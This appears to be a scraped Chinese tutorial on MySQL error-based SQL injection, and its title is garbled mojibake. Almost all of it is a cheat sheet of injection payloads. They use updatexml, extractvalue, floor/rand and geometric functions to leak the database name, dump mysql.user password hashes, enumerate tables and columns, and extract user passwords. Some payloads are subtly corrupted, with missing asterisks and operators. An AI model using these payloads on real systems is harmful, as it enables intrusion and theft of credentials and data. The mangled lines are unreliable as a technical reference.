電商網(wǎng)站建設(shè)渠道網(wǎng)站開(kāi)發(fā)培訓(xùn)
報(bào)錯(cuò)注入
- 報(bào)錯(cuò)注入定義
- 代碼展示
- 常用的報(bào)錯(cuò)語(yǔ)句
- 1.獲取數(shù)據(jù)庫(kù)名稱(chēng)
- 2.獲取mysql賬號(hào)密碼
- 3.獲取表名
- 4.獲取字段名
- 5.獲取賬號(hào)密碼
報(bào)錯(cuò)注入定義
報(bào)錯(cuò)注入:利用sql語(yǔ)句的不規(guī)范,獲取相關(guān)sql提示信息
代碼展示
常用的報(bào)錯(cuò)語(yǔ)句
select first_name, last_name FROM users where user_id = ‘1’ and info() –
#獲取當(dāng)前使用的庫(kù)
1’ and (updatexml(1,concat(0x7e,(select user()),0x7e),1)) – 或version() 、database()
#獲取數(shù)據(jù)庫(kù)敏感信息
1.floor()
select * from test where id=1 and (select 1 from (select
count(),concat(user(),floor(rand(0)2))x from information_schema.tables group by
x)a);
2.extractvalue()
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
3.updatexml()
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
4.geometrycollection()
select * from test where id=1 and geometrycollection((select * from(select *
from(select user())a)b));
5.multipoint()
select * from test where id=1 and multipoint((select * from(select * from(select
user())a)b));
6.polygon()
select * from test where id=1 and polygon((select * from(select * from(select
user())a)b));
7.multipolygon()
select * from test where id=1 and multipolygon((select * from(select * from(select
user())a)b));
8.linestring()
select * from test where id=1 and linestring((select * from(select * from(select
user())a)b));
9.multilinestring()
select * from test where id=1 and multilinestring((select * from(select * from(select
user())a)b));
10.exp()
select * from test where id=1 and exp(~(select * from(select user())a));
1.獲取數(shù)據(jù)庫(kù)名稱(chēng)
1' and info() --
2.獲取mysql賬號(hào)密碼
1' and updatexml(1,concat(0x7e,(select (select authentication_string from mysql.user limit 1 )),0x7e),1) --
1' and updatexml(1,concat(0x7e,(select (substring((select authentication_string from mysql.user limit 1),32,40))),0x7e),1) --
因?yàn)橐粭l只能顯示32字符,所以?xún)啥纹唇觿t為mysql密碼
3.獲取表名
1'and (select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --
4.獲取字段名
1'and (select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name='users' LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --
借助burpsuite
5.獲取賬號(hào)密碼
1' and (select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x23,user,0x3a,password,0x23) FROM users limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --